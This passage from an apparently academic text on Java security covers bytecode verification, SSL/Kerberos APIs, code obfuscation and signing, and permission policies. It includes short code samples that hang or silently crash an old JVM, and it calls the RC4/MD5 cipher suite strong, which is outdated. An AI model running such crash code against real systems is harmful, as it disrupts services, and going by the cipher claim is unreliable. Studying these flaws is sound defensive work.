of the class, as executing the class may trigger the chained loading
of dependent classes to resolve the references. This action is nec-
essary to check whether the referenced methods or fields actually
exist. If they exist they have to match the correct signature or data
type and must be accessible in terms of the JAVA language which
is determined by the access modifier defining the public, protected
or package scope of the referenced entity. During these checks, the
actual security police in place may in part or completely be config-
ured to suppress access checks on data fields and methods. Verify-
ing only remote classes with the measures of step 4 is the default
setting of the JDK. By using the verify flag the range of checked
classes can be extended to local classes.
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5.3.3 Evaluation of Bytecode verication
Limiting checks of step 4 to remote classes only is an unintuitive restric-
tion of security, as local classes can be as untrustworthy as remote classes.
An observation by Haase (2001) showed, that although the checks in the
bytecode verifier have the goal to let safe classes pass and block unsafe
ones it is unable to block certain malicious classes,
• Infinite loops in static initializers (although there is a rudimentary
check in the javac compiler for infinity loop patterns) may occur.
As the compiler is not part of the TCB, this check cannot be relied
on from a security perspective, as different code emitters may not
implement this check
• JAVA code that never finishes the static initializer as displayed in
Figure 5.5 or abort the processing of the JVM by exploiting a coding
error in the core of the JVM TCB, as demonstrated in Figure 5.4 and
documented in the bug database of Schönefeld (2003h).
It has been criticized by Coglio (2003) that the JVM specification is miss-
ing a formal description of the JBV process. This specification ambiguity
has been increased with Sun's packaging of JDK 1.5. Sun decided to de-
ploy the graphical and command line bytecode verification tools of BCEL
into the JDK core classes. These classes use other algorithms than the
native JVM internal verifier. Unfortunately, they also provide other veri-
fication results, which provide an inconsistent perspective on the process
of bytecode verification.
5.3.4 Verication and local classes
Classes loaded via the root class loader are not verified by default prior
execution.
When running the code in Figure 5.6 and Figure 5.7 the program prints
a null value to the console. After modification of the public modifier to
Code Containment 171
public class StaticInitEternalWait {
static int knock = 1;
static {
while (knock == 0
? true: true) { ; }
}
}
Figure 5.4: JVM crashing object allocation
public class StaticInitSilentCrash{
public static void main(String[] a) {
System.out.println("never reached!");
}
static int marker = 0;
static {
Object o = new Object[]{};
while (marker == 0 ? true: true) {
o = new Object[]{o,o};
;
}
}
}
Figure 5.5: Garbage collector bug in JDK 1.4.2 causing JVM silent crash
public class Privatier {
public String element;
}
Figure 5.6: Testing the verifier, Accessor.java
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public class Accessor {
public static void main(String[] a){
Privatier p = new Privatier();
System.out.println(p.element);
}
}
Figure 5.7: Testing the verifier, Privatier.java
private in Private.java and a new compilation of the modified source
code a new vesion of Privatier.class is generated. When starting the
Accessor.java again, the runtime environment executes as before and
does not complain about the new limited visibility of the now private
String element. Only when the JVM is started with the -verify, it en-
forces bytecode verification for locally loaded classes. In this case, the
JVM exits with an IllegalAccessError as shown in Figure 5.3.4.
schonef@XSTATION:~/JVMCrash> \JAVA -verify Accessor
Exception in thread "main" java.lang.IllegalAccessError: tried to access field
Privatier.element from class Accessor
at Accessor.main(Accessor.java:5)
Figure 5.8: Illegal Access Error
5.3.5 Language Security Features
Another important feature of code containment is specified by the JAVA
language specification as a default protection against security compro-
mises even when naive or careless programming was performed.
These precautions include:
• Implicit coercion enforced by a runtime system can be problem as
it leads to unexpected types of objects. The JAVA language specifica-
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tion bases on explicit coercion, which moves the responsibility for
casting the right type to the programmer. This is especially an issue
with object serialization as in the default mode of the JVM the Un-
invited Object Antipattern (see Chapter 8.5) may occur. This means
that during deserialization an object is first handled by the JVM (by
invoking the readObject method) and later in control flow checked
by the application program if the right type was send.
• Strong typing permits declaring objects with no type, they are least
objects with the properties of java.lang.Object . From a seman-
tical perspective this type is often misused as a JAVA interpretation
of the concept of typeless (void) concepts, with the same implica-
tions as in other programming languages such as type confusion
and problems from illegal casts. As many API-routines in the JDK
only accept the least derived type, the root type java.lang.Object ,
such as the add-method of the java.util.Vector class, program-
mers often have to cope with illegal casts on the application layer.
This problem was addressed by introducing concepts of generative
templates (Austin, 2004) in JDK 5.0 but exists in a wide range of
existing legacy code. The template approach moves the responsi-
bility for explicit coercion (such as finding the correct type for an
object taken from an untyped collection) from the programmer to
the compiler and the responsible classes in the runtime system.
• Protection of system memory from direct influence of the program
lowers the attack surface. Implementers are only concerned with
starting object lifecycle with the new instruction, which maps di-
rectly to new or ANEWARRAY operands in bytecode representation.
This call is mediated by the runtime system that performs the phys-
ical memory allocation. The garbage collector performs deallocation
of objects asynchronously.
• Protection against the creation of uninitialized objects is enforced by
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the virtual machine. Constructors are the point of enforcement of
necessary preconditions. Primitive types are always initialized with
a default value such as zero for integers. However, with JDK 1.4.2
there still exist problems with assuring initialization of static fields
in applets. The event loop of applet may cause access to the static
fields at an earlier point in time than the initialization is performed.
• Accessibility levels such as private, protected, package and public
allow restricting the visibility of fields. The enforcement of these
modifiers can be bypassed by privileged code, such as in the case
of serialization by the reflection API. The code however needs an
adequate set of permissions to bypass visibility enforcement, which
is the case for code loaded by the boot class loader or code granted
with special reflection permissions (see Chapter 5.6.1).
• Final classes, fields, and methods are protected against override at-
tempts by sub-classing. Final fields, however, may change their
value during the execution of the static initializer of a class from
their default value to their final value; a malicious thread could ex-
ploit this. A common misconception if that the final keyword pro-
tect the value of an object. It just protects the value of primitive
fields or the value of object pointer. The missing part in protection
has to be done by the programmer to use immutable object in con-
junction with the final parameter. In consequence using arrays with
the final keyword does not ensure immutability of the array items it
just prevents reassignment to the array pointer.
• Protection of private fields against modification is limited to the lo-
cal scope of the JAVA virtual machine. Default serialization of an
object (Sun Microsystems, 2001b) also transmits private fields. This
results at least in the violation of confidentiality when the trans-
mission media is observed or even modified by an attacker. There-
fore, a programmer has the choice to define a field as transient,
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which omits a field from serialization. Overriding the readObject,
readResolve and writeObject method allows restricting the se-
quence and range of fields during serialization. Programmers may
choose implementing the Externalizable interface to define cus-
tom serialization routines. Object types transferred with write-
External and readExternal can be transformed to arbitrary for-
mats during transmission. This allows adjustment to the security
requirements with the highest degree of freedom such as defining
per object encryption or other protection mechanisms such utilizing
SealedObjects or GuardedObjects.
5.3.6 Protecting data in transit with cryptography
Data handled by the virtual is protected by the core protection mecha-
nisms of the virtual machine and checks of the compiler for the JAVA
language. Data leaving the local virtual machine by RMI (remote method
invocation) or other forms of remote access is losing these confidentiality
attributes and therefore has to be transformed into a protected representa-
tion when transmitted or stored outside of the JVM, which means outside
of the TCB. Outside of the TCB, trust is provided by certificate and the
validity of encryption keys. Checking certificates proves the legitimate ac-
cesses to an object by an entity. Cryptography is therefore a fundamental
approach to enforce confidentiality, integrity, and accountability. This ad-
dresses the following threats typical to distributed systems.
Concept Addressed Threat
Confidentiality Sniffing
Integrity Switching
Accountability Spoofing
Secure Randomness Replaying
Strong Algorithms Brute-Forcing
Table 5.4: Distributed Threats and Cryptography
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As shown in Table 5.3.6 availability is not an issue that can be protected
primarily with cryptographic techniques. Cryptography may be a suffi-
cient hurdle against adversaries. They need to pass it before being able to
perform a usurpation attack to take control of the system.
5.4 Communication Security
Data in transit between nodes, commonly known as networking, pass sev-
eral semantic layers of the ISO/OSI reference model for communications,
which results in several interception points to apply protection via crypto-
graphical mechanisms either on the network, runtime system or applica-
tion level. The security on the network layer can be leveraged by using
proprietary encryption facilities of network devices or standards based en-
cryption features of IPv6.
5.4.1 Transport Layer
On the transport layer the SSL standard version 3.0 allows client, server,
and mutual authentication features. SSL is a protocol that is based on
initial work of Netscape is supposed to be replaced by its successor TLS,
which is a standard specification issued as RFC by the IETF (Dierks and
Rescorla, 2008). SSL is located on the transport layer establishes a trans-
parent secure communication channels and is complemented by the Ge-
neric Security Services. The GSSAPI is a cross-platform standard that al-
lows using authentication protocols such as Kerberos for using third-party
proof of user's identities on the session layer. The JAVA API to SSL/TLS
provides protected socket classes that are implemented by the JAVA Se-
cure Socket Extensions (JSSE).
The JSSE packages (located in javax.net.*) are usable to protect data
against sniffing and manipulation during transit by using encryption and
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checking identity via certificates. The exposed interfaces of the JSSE-
framework are a specialization of the basic socket APIs and replace the
Socket class which transports data in plain text with an SSLSocket class
and the default SocketFactory class with an SSLSocketFactory class.
These classes support data encryption.
Client-Authentication is activated by setting the setNeedClientAuth boo-
lean field belonging to theSSLSocketFactory class. Servers may request
the encryption type of a connection by querying the cipher in use and op-
tionally deny the request.
Besides usage in basic J2SE, the JEE specification (JAVA Enterprise Edi-
tion) also encourages usage of secure sockets for enterprise data. This is
achieved by demanding several ciphers to be mandatory implemented by
the JSSE. TLS_RSA_WITH_RC4_128_MD5 is a strong cipher and frequently
used to provide secrecy.
Servlet hosting is a typical application scenario that is concerned with sup-
plying HTTP clients with dynamic content. The server can be protected
via SSL/TLS against unprivileged access. It is possible to restrict connec-
tions to a sufficient security level. This can be achieved either program-
matically by requesting the security flag from the HttpRequest object or
by setting security constraints in transport-guarantee tag, which is specified
in the servlet deployment descriptor. The descriptor for transport security
can be either set to CONFIDENTIAL, INTEGRAL or NONE. Similar settings
are not applicable for RMI calls to Enterprise JAVA Beans, but non-local
EJB calls are required by Section 2.6.4 of the JEE specification to use RMI-
IIOP communication. RMI-IIOP transport can be protected over a TLS or
SSL transport channel by specifying an SSLSocketFactory for RMI.
The CSIv2 security standard (Hartman et al., 2001) specifies the in-
teraction between the different layers that carry authentication, message
protection and additional security attributes. CSIv2 helps to protect IIOP
messages transparently to the upper layers. The involved components are
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depicted in Figure 5.9
Figure 5.9: RMI
JSSE implements a plugin philosophy and is configurable either via
program settings or declaratively by command line properties. Although
the only protocol currently protected by SSL is HTTP resulting in HTTPS,
other application level protocols such as RMI and LDAP are extensible
with encryption and message integrity features via JSSE and additional
programming such as custom socket factories (Sun Microsystems, 2003h).
Although underspecifying those solutions leads to repetitive proprietary
development, the approaches regarding the standardization of RMI Secu-
rity using JSSE have been declined by the JCP process (Sun Microsystems,
2001a).
5.4.2 Session Layer
JSSE protection is not directed to the application layer it is designed as pro-
tection on the network layer. User sessions have typically a shorter lifecy-
cle than a socket connection. Therefore, user sessions are often based on
tokens that are passed with requests to their destination to prove the iden-
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tity of the caller. The Generic Security Services Application Programming
Interface (GSSAPI) (Linn, 2000) classes are on the ISO/OSI session layer
and located in the org.ietf.jgss package. The GSSAPI is designed for
token management and is defined on top of the Kerberos 5 protocol. Ker-
beros allows the delegation of trusted principal information over a shared
network. A typical use case for delegation is located in requirement of
moving requests forward to a third party processing system. Although
forwarded by the same technical process each request is equipped with
differing credentials stemming from the originating client. Kerberos is
able to maintain the individual credentials with the requests forwarded,
so that the destination system does not only receive the credentials of the
source system queue manager, it also receives the credentials of the orig-
inating subject, which is necessary to perform the needed access decision
remotely.
Choosing the right layer
JGSS is the JAVA implementation of the GSSAPI. Both JSSE and JGSS
provide the necessary functionality to fulfill security requirements such as
trust management (by implementing mutual authentication of clients and
servers) as well as privacy management (by protection of data in transit via
encryption functionality). Nevertheless, they differ in the approach how
to apply these technologies, so a description of JGSS is done by describing
the differences and typical use cases compared to those of JSSE.
5.4.3 Reuse of Identity Information
• JGSS, which is part of the JAVA 2 Standard Edition since Version 1.4
provides interfaces that allow reusing identity credentials that are al-
ready available in an underlying identity provider, such as the login
component of the operating system. If an operating system sup-
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ports the Kerberos protocol as its mechanism for mandatory access
control, the credentials can be used in a JAVA application. JGSS is
able to obtain the identity of the current user. This has beneficial ef-
fect on usability, as it is not needed to reenter the identity and pass-
word. Such a configuration is frequently referred to as SSO (single
sign-on). Whether such a mechanism is acceptable is defined by a
security policy that states that a JAVA application is allowed to trust
the identity information of the third-party identity proper, i.e. the
operating system, which is typically the case for local controllable
intranet environments.
• The current version of JSSE in contrast does not support Kerberos
and therefore, implementing SSO via JSSE is not possible via the
Kerberos protocol. It is expected that this will change in the fu-
ture when the cipher suites basing on Kerberos used to protect the
TLS layer have been standardized by the IETF (Dierks and Rescorla,
2006), so they can be supplied in the JDK or by third party products.
5.4.4 Communication channels
• JSSE (JAVA Secure Socket Extensions) is an API for secure com-
munication over reliable transport sockets (typically TCP-based) im-
plemented in the Java.net and javax.net packages. Therefore,
the best-fit granularity for JSSE is on the socket level. JSSE is ap-
propriate to provide a secure foundation for utilizing and providing
wide-scale standards based services such as HTTP over SSL, which
is also abbreviated as HTTPS.
• JGSS in contrast is not bound to sockets; moreover, every communi-
cation channel can be protected with JGSS generated tokens. This
implies that the definition of transport channels, streams, and to-
kens are handled by the application, which is acceptable for custom
implementations to establish mutual trust and protection.
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5.4.5 Delegation of credentials
• JGSS is used to standards based transfer of identity credentials to
a server using the Kerberos protocol. This is typically useful for
multi-tier environments, where identities are passed to the Kerberos
enabled target systems via intermediary services.
• Delegation of credentials is not supported by JSSE as its primarily
scope is to protects socket-based communication channels.
5.4.6 Encryption
• The socket classes provided by JSSE are SSL-enabled subclasses of
the standard JAVA socket classes. Identities of sender and receiver
are not taken into account during as sockets are bound to technical
addressable entities such as host and port which may be shared by
several users (using the same proxy server).
• When requirements include both, plain- and ciphered communica-
tion, using JGSS tokens in contrast provides the flexibility to adjust
the level of protection to the expected threat exposure. Encrypting
only the privacy-sensitive information may significantly reduce sys-
tem load.
5.4.7 Supported protocol standards and use cases
• JSSE is based on the TLS specifications by the IETF. As stated above
wide-scale 1-n service providing such delivering dynamic HTTPS
web pages based on servlets or providing services using custom pro-
tocols protected by secure sockets are typical use cases for JSSE.
• JGSS provides a client-side implementation of the Kerberos proto-
col. This is typically needed in use case scenarios where mutual
authentication is evident. SASL is an example for a GSS compatible
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protocol. Typical examples are JAVA based LDAP clients that require
Kerberos client functionality to communicate to a SASL-enabled ser-
vice (such as an LDAP directory server) via JGSS.
5.4.8 Ease of use
• JSSE works by just enhancing existing JAVA socket code by replac-
ing the secure socket class and optionally adding the level of needed
authentication.
• Efficient programming of JGSS client software is dependent of deep
knowledge of the Kerberos infrastructure from which identity infor-
mation shall be reused in the application. This may be an entry
hurdle to an inexperienced application programmer.
5.5 Code Protection
Algorithms stored in bytecode are an intellectual property of its author.
The threats against code itself involve beside illegal use through copy and
theft also protection of the algorithms. When the source code is accessible
via public media, a white box analysis can be performed. Contrary Reverse
engineering (black box analysis) observes without prior knowledge the be-
havior of a system and recaptures the structures stored in the binary and
compiled code. Reverse engineering (RE) can both be a threat and a bless-
ing for JAVA security architects.
RE is dangerous in terms of disclosing secrets and structures that are
useful for a malicious user to launch an attack. This is conflicting with
the right of a customer to verify the functionality, security compliance,
or interoperability of a software product. A decompiler (Nolan, 2004) is
a common tool usable for both purposes. Several decompiling products
exist, most achieve usable results when applied to class files compiled with
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a normal JAVA compiler. In order to protect code obfuscation algorithms
can be used. Obfuscators manipulate the class files by rearranging control
flow in methods and mix the net control flow with dummy operations and
loops. The effect is that decompilers that only rely on patterns typical to
the emitted results of JAVA compilers will lose their orientation and will
not be able the reconstruct the original net control flow.
5.5.1 Obfuscation
The obfuscation mechanism transforms the constant pool entries to un-
readable names and realigns control flow instruction in order to confuse
decompilers. Due to the late binding characteristics of the JAVA class
loader procedure, which occurs in step 4 of bytecode verification, obfusca-
tion is only effective if applied to all used classes of an application. This
includes third-party jars. Otherwise, calls to these jars may still reveal the
structural inner logic of classes. A general problem with obfuscation is
the overhead for the virtual machine, which may not be able to optimize
obfuscated bytecode as it does not comply furthermore to known control
flow patterns emitted by the JAVA compiler, so obfuscated code will po-
tentially have a degraded performance compared to the original code.
A positive side effect of obfuscation is the reduction of class files sizes,
as shortening variable names and removal of debug information short-
ens the size of class files. As most classes are typically loaded from com-
pressed jar files and not from individual system files the time advantage
is negligible.
Obfuscation is closely related to other bytecode engineering techniques,
so it can be also used to reduce quality of service depending on a license
value. As an example, the Sandmark (Collberg et al., 2003) implementa-
tion by the University of Arizona provides a degrading obfuscation algo-
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rithm that additionally degrades performance of an application, which is
useful to limit the usefulness of demonstration or try-before-buy software.
5.5.2 Cryptography
A cryptographical approach to code protection is based on using a hierar-
chy of trust, which is established by the use of digital certificates. JAVA
applications utilize the API of packages located in the JCA to manage the
lifecycle of standards based certificates.
Trustworthy Code
The CPA (Certification Path API) is a part of JCA and the implementa-
tion is located in the java.security.cert package. It provides a read-
only view on certificates and the information (attributes) embedded within
those. The core entities of the CPA are:
Keystore is a container type to store abstract certificates. Keystores may
use implementation dependent formats such as the JKS (JAVA Key-
store) format, which is a proprietary JDK implementation. To use
standard keystore formats such as PKCS#12, an appropriate imple-
mentation has to be registered with the JDK. A class implementing
the keystore stores public and private keys, which help to provide
confidentiality by encrypting and decrypting data.
Truststore is a container class to store trust certification keys to authenti-
cate trusted third parties. Trusted third-party certificates are stored
in the cacerts file in the ${Java.home}/lib/security/ direc-
tory, which is deployed with the JDK. Due to this deployment de-
pendency the JDK has to be redeployed when certificates within the
truststore becomes outdated (which was the case from 1.4.2_02 to
1.4.2_03).
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Certicate The format independent abstract base interface to represent
digital certificates.
X.509 Certicates A representation format of digital certificates according
to the X.509 specification. The JKS provider and the keytool utility
can generate and handle X.509 certificates. An alternative infras-
tructure to manage X.509 certificates is provided by tools coming
with the OpenSSL frameworkOpenSSL Project (2007).
CerticateFactory is an abstract type, needed to generate certificates of a
certain format. Instances of java.security.X509Certificates
are generated by the use of a X509CertificateFactory.
Proof of Origin
In the context of code protection cryptography is used to provide a proof
of origin. Components distributed to the application client are typically
signed by the provider or vendor. This is done for protection against tam-
pering and modifications. A signed component will less likely install back-
doors or malware on the customer's host as it can be tracked back to the
signer. Digital signatures can be used by a customer to evaluate the trust-
worthiness of a component which the strength of the signing algorithm
seen from a technical perspective. Trust may also involve a subjective part,
which in technical businesses often depends of the quality level and the
prior history of customer with the vendor. As detailed evaluation of this
perspective is out-of-scope, the term code trust is limited to technical trust
in this discussion.
Naive implementations of code protection may use cyclic redundancy check
hashes (CRC32) or other digest algorithms like MD5 or SHA1 to check the
integrity of a file. Nevertheless, these methods do only cover the validity
of a file in respect to a provided check sum and do not allow proving the
origin of the hashed artifact.
To overcome this deficiency hashed message authentication codes (HMAC)
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(Krawczyk et al., 1997) provide the benefit of cryptographical protection.
The jarsigner is a JDK-bundled tool that allows enhancing JAVA compo-
nents, typically deployed as jar files with cryptographic evidence of origin.
After performing the signing procedure the metadata of the jar file stored
in the META-INF directory is enhanced with additional hash information
per signed file. The hash information provides the hashed message au-
thentication code (HMAC) as a proof of identity. This done once for the
jar file as the manifest and additionally the digest of each file in the jar is
signed in the {keyname}.sf-file. A block signature containing the signa-
ture of the Signature file in binary form as well as the certificates needed
for verification is additionally provided. The name is built from appending
the key alias and the signature algorithm used, such as Marc.DSA when
the jarsigner was started with the key 'Marc' and the DSA algorithm.
5.5.3 Visibility
The visibility between classes is limited via package name spaces. The
name spaces are enforced by class loaders. Therefore, the complete iden-
tification of a class loaded into the JVM is the class loader instance and the
qualified class name. Classes of the TCB (in the TL) (typically all java.*
packages) are always loaded via the primordial class loader, which is also
part of the TCB. This ensures that no classes are mixed in by malicious
class loaders during the initialization of the JVM.
A naive attack to bypass the security enforced to package members by
visibility rules would be to define additional classes with the same package
prefix as the victim package and exploit the package visibility to read the
package protected fields in this package. This can be prevented by adding
an additional Sealed: True attribute to the manifest file of a jar file.
The security manager enforces the targets package.definition and
package.access of the SecurityPermission provide an additional line
of defense to prevent spoofing package identity.
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Defining Permissions is a common mechanism to limit the access to
protected resources such as files, sockets, etc. when running in a con-
tained environment. These are also used in the doPrivileged methods
of the AccessController class to check code prior execution explicitly
for a given permission according to the check point security pattern. This
is explained in detail in Chapter 7.1.11. A detailed overview over permis-
sions provided in the JDK and the risks involved setting them is provided
in Chapter 5.6.1. Custom permissions are derived from the Permission
and the BasicPermission class of the java.security package. How-
ever even when access to protected resources is granted in a JAVA policy
by a SocketPermission "listen" on port 79 on a common POSIX sys-
tem. It may not be usable for a non-root application as all port numbers
lower 1024 are usually restricted to the root (uid=0) account. The same
consideration applies to FilePermissions on Microsoft Windows 32 sys-
tems and POSIX systems, therefore the JAVA security manager can only
limit the resource access permissions already granted to the contained
process by the operating system. The security manager cannot enhance
them to circumvent the privilege limits already enforced by the underlying
operating system.
5.5.4 Encrypted Classes
As classes are loaded via class loaders into the virtual machine, an alterna-
tive to protect algorithms and secrets in code is encryption of class files be-
fore deployment and decrypt them via a customized class loader. This is a
different approach to code signing, which only protects integrity whereas
class encryption attempts confidentiality. This approach is as secure as
long as the keys used for encryption by the deployer and the keys used for
decryption by the class loader remain secret.
If an attacker has control over the client TCB, which contains the run-
time libraries of the JVM he is able to add interception points to the en-
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crypting class loader in order to retrieve the key or other confidential data
on a lower layer. An attacker can then try to intercept the transmission of
the decryption key to the class loader, which is protected for transport by
SSL.
This approach appears to be secure in the first place. Nevertheless,
SSL sockets are only providing network layer protection so they cannot
prevent that the attacker spoofs a given identity and the behavior of the
decrypting class loader and retrieves the encrypted information for his
purposes. This can be accomplished by intercepting the method calls to
the java.net.Socket class or the root class of the modified class loader
to retrieve the unencrypted class files used in the transmission.
5.5.5 Evaluation of Code Protection
It has been shown that as long an attacker has physical access to a single
class file or a bundle of classes in a jar file, secrets and algorithms stored in
code are subject to disclosure. Therefore, code protection techniques are
only effective if they are combined with additional protection measures
such as operation system mechanisms, which enforce the least privilege
principle. By providing only read permissions for access to the jar files
when read access is performed with additional credentials that are granted
with a successful prior login. For a complete mediation of granting access
to jar files prevents to keep the class files on any intermediate storage.
This measure would avoid the risk that an attacker would directly access
the file on a less protected intermediate storage. Summarizing the results,
Code protection is only a valid means to enhance security when access of
the attacker to the TCB, especially the JVM and the runtime libraries can
be blocked in a reliable manner.
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5.6 Protection domains and evidence
CAS (code access security) is based on evidence that establishes trust in
code. Evidence can either be build on a location or on a signer identity.
Trust given on location-based evidence is given to the source URL of the
code. Signer based evidence is dependent of the trust level of the identity
signer.
Both types of evidence can be used to group code JAVA classes and archives
into protection domains. While URLs and other locations can be forged
by technical indirections and other manipulations to the file or name ser-
vice on the layer below they neither give a proof of integrity. Evidence
based on cryptographic signatures in contrast provides combined proofs
of integrity and origin. Both types, location and signature-based proof
can be combined in a policy file to define protection domains to use both
evidence types.
An untrusted codebase or a codebase that is exposed to attackers such
as web applications is typically placed in an adequate protection domain.
The protection domain should not provide unprivileged users access to
critical resources. A well-known protection domain is the predefined ap-
plet sandbox that is enforced by the applet class loader of the browser plug
in. Other examples are the JEE application client protection domain that
is enforced by the JNLPClassLoader class, which is part of the JAVA Web
Start (JWS) framework.
5.6.1 Permissions
The JAVA security architecture is based on a policy based approach. As
already depicted in previous sections, each grant entry in a JAVA policy
consists of a set of permissions. A permission entry allows access to a
system resource, which is blocked by default. The JVM security manager
grants access to a resource for a JAVA application only when a permission
in the policy allows access to this resource for the particular codebase,
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Figure 5.10: Protection Domains
grant [codeBase "URL" ] [signedBy "identity","identity2",... ] {
permission ClassName, "targetName", "ActionSet"
[signedBy "identityx",...] ;
permission .... ;
}
grant ... {
}
Figure 5.11: Sample policy file
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the specific signer and the principal (in the case when the JAAS (Sun
Microsystems, 2003d) framework is used) that triggered the request to
access the resource. Therefore, the security manager has to be activated.
Figure 5.12: JAVA Permissions
A permission is of a certain type corresponding to the resource to be
protected. As example the java.net.SocketPermission, specifies a tar-
get, which is the IP host name and the port number. Optionally certain
types might require one or more actions associated to it whereas other
types do not need actions. The SocketPermissions can be configured
for the accept, listen, connect and resolve actions. In the next paragraphs,
the following basic permissions used for secure operation of J2SE are de-
tailed. For a structural overview the JAVA permission hierarchy is shown
in Figure 5.12. A detailed description concerning all predefined permis-
sions is available at (Sun Microsystems, 2003f).
192 JAVA and Security
Permission related to signed applets
Signed applets can acquire an enhanced set of permissions.
• If the usePolicy target of the RuntimePermission is granted then the
privileges in the client's policy are provided to an RSA signed applet
(Sun Microsystems, 2004b). If the permission is not granted the
applet is assigned to the AllPermission protection domain for fully
trusted application. Before startup of the applet this has to be con-
firmed when current user of the applet select to set these permis-
sions by explicitly pressing the "Grant" dialog option.
AllPermission
A special predefined permission is the AllPermission, which allows pass-
ing all security checks that can be limited by permissions. If this permis-
sion type is granted all security checks that are queried are evaluated pos-
itively, therefore Sun advises JAVA developers only to grant this Permis-
sion "during testing" or in "extremely rare cases". In observed practice,
this situation applies very often to production environments. It is there-
fore common that JAVA applications are running completely without a
security manager or with the default permission granted to the used com-
ponents, which results in an AllPermission policy setting. This prob-
lem will be been discussed in-depth in the upcoming chapter about the
LaxPermission antipattern.
Problems with the permissions hierarchy
Permissions are used to check access for distinct functionality in the meth-
ods of JAVA classes. The sole documented attribute of a permission sub-
class is its name. It has no metadata binding to the class that needs grant-
ing this permission target.
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No inheritance
Identied Problem: The JAVA permission definitions do not define a hier-
archy, moreover two fixed levels are defined. The first level defines
the Permission class and the next level is expressed by a weak string
key. Therefore, application specific modeling with object-oriented
principles such as subclassing is not possible.
Proposed Refactoring: A redefinition of the JAVA permission classes would
involve user specific coding of the policy evaluation (Neward, 2001)
Deprecation
Identied Problem: If JAVA classes become deprecated, there is no mech-
anism or linking between class and permission indicating that the
permissions allowing access to these classes also have become dep-
recated. For example in JAVA 1.4.x the abstract Identity class became
deprecated and developers were advised to use the KeyStore, Cert
and Principal class instead. This information is not carried over to
the *Identity* targets of the SecurityPermission.
Proposed Refactoring: In a strict object-oriented type hierarchy design,
the actual targets described be subclasses of its superclass, e.g. ex-
tending the RemoveProviderPropertyPermission from the Se-
curityPermission. This would allow equipping the atomic Per-
mission type to carry documentation elements such as version infor-
mation and deprecation flags. The spread information of a distinct
permission will then be concentrated in that detailed permission
class.
5.6.2 JAVA Policy les
A JAVA security policy groups permissions to codebases. The default im-
plementation of policy files is based on a proprietary format in simple text
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files. However, the policy parsing providers can be replaced by alternative
formats such as XML (Bray et al., 2008) or storage media such as relational
databases. An alternative implementation has been described in Fonseca
(2002). The representation syntax used by the default policy implementa-
tion is shown in Figure 5.11. A detailed discussion about the format of
policy files is described by Gong (1999) and Oaks (2002).
There are two locations where the security permissions of the JVM are
configured:
1. The first is the java.security file that specifies default settings
that provide entries specifying security providers, policy providers,
package access rules and keystore definitions.
2. The JAVA policy file is the second configuration location. The de-
fault JAVA policy file is named java.policy and stored in the JDK
directory $JAVA_HOME/lib/security/, alternatively in the home
directory of the current user. A policy file defines the default per-
missions of an application running under the control of a security
manager.
The defaults can be overwritten by a use case specific policy file by spec-
ifying a filename in the definition of the java.security.policy JVM
property. The policy file consists of grant entries that assign sets of per-
missions to a set of tuples G(PR,CB) consisting of the optional settings
of a Principal PR and a Codebase CB.
• Principals specify the identity that are attached to the execution con-
text that is checked by a certain permission.
• Codebases specify the source URL where the code was loaded from.
• The Signer optionally refers to the X.509 certificate of the entity that
signed the code.
A typical permission therefore is defined as depicted in Figure 5.13.
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grant principal "Karl",
SignedBy "Karl@Fridolin.org",
codeBase "file:/usr/lib/abc.jar" {
permission java.io.FilePermission "/home/karl/", "read";
};
Figure 5.13: FilePermission in a policy file
5.6.3 Protection domains
The security concept of JAVA 1.1 granted full access to local resources.
This became obsolete with the introduction of protection domains. There
are three frequently used default domains provided by the JDK when the
application is started with the default JAVA security manager. These set-
tings also reflect the distinction between the TCB, which are the trusted
libraries and the untrusted user code.
• The standard classpath is granted a limited set of permissions, which
is specified in the file ${java.home}/lib/java.policy.
• The code in the directory classes and the directory
are provided  with  the  full  permission  set  with  an
AllPermissions policy  setting.
• Unlimited access to resources is also granted to code in the boot-
classpath, which is loaded by the boot class (primordial) loader.
Applets are provided with a limited set of permissions, commonly known
as the applet sandbox, which was a nickname for the fixed permission
set for remote code in JAVA 1.1. Applets that are signed by a certificate
holding a RSA key are allowed to join the AllPermission protection domain.
This results in the full set of permissions, when the current user accepts
the "Grant" option prompted the JAVA Plugin.
\${Java.home}
/lib/ext
/lib/ext
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5.6.4 Permission checks
When requesting access to protected resource the trusted libraries in the
TCB issue a call to the currently security manager delegate the access de-
cision to this central instance as a check point of security enforcement.
The class hierarchy of the JAVA access control architecture is depicted in
Figure 5.14. The Security Manager forwards a CheckPermission method
Figure 5.14: JAVA Access Control Architecture
call to the associated AccessController class. The AccessController is
in charge of the current AccessControlContext that provides the cur-
rent call stack along with its protection domains. It therefore evaluates
the protection domains on the call stack. When all entries on the call
stack are granted a permission, the access is granted and the call to the
checkPermission method silently returns. Otherwise an entry exists is
on the call stack that is not privileged and consequently the SecurityMan-
ager throws a SecurityException.
The checkpoints of the security manager architecture can be compared
with the IVP routines of Clark-Wilson-System (see Chapter 2.4) to keep
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the system in a secure state. Security managers are optional for local JAVA
applications; they can be subclassed to provide custom behavior such as
gathering security requirements of an application. The JAVA plugin in
browsers and other contained environments (JNLP, Servlet containers)
typically instantiate security managers to restrict the potential danger that
can be caused by untrusted code in contained components.
Stack Inspection and Luring Attacks The motive of the stack inspection
is to protect against a luring attack (Fox, 2003). This is a synonym for
unprivileged code (as in Figure 5.16) with zero or an insufficient set of
permissions. Indirectly granted permissions while triggering an action in
privileged code invites attackers to misuse the larger set of granted permis-
sions. The solution to provide privileged code with enhanced functionality
while still keep it callable from untrusted code (full view with errors) is the
concept of privileged actions as shown in Figure 5.15.
Java.io.File createTempFile
Java.awt.Font$1 run
java.security.AccessController doPrivileged
Java.awt.Font createFont
Some graphics library generateSymbolFont
Graphics application initializeDocument
Untrusted
System
java.security.AccessControlContext checkPermission
java.security.AccessController checkPermission
java.lang.Security.Manager
java.lang.Security.Manager checkWrite
Java.io.File checkAndCreate
checkPermission
!
Figure 5.15: Stack Inspection of a privileged call
Luring attacks can be prevented as functionality available in the trusted
code is due to the stack walk only equipped with the smallest set of per-
missions on the stack according to the least privilege principle. This lim-
itation can intentionally be altered when higher privileges (such as prop-
erty variable access) are needed. The access request to the property vari-
able will be bracketed within a privileged action, which avoids granting a
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java.security.AccessControlContext checkPermission
java.security.AccessController checkPermission
java.lang.Security.Manager
java.lang.Security.Manager checkWrite
Java.io.File checkAndCreate
Java.io.File createTempFile
A graphics routine generateTmpFile
Graphics application initializeDocument
System
checkPermission
Untrusted
!
Figure 5.16: Stack Inspection of an unprivileged call
PropertyPermission to all codebases on the stack but only to the small
code snippet invoking the read method of the property object. This is a
use case for the "Least Privilege" (see Chapter 6.4.1) security principle.
However, when privileged actions are used naively they potentially open
new security holes.
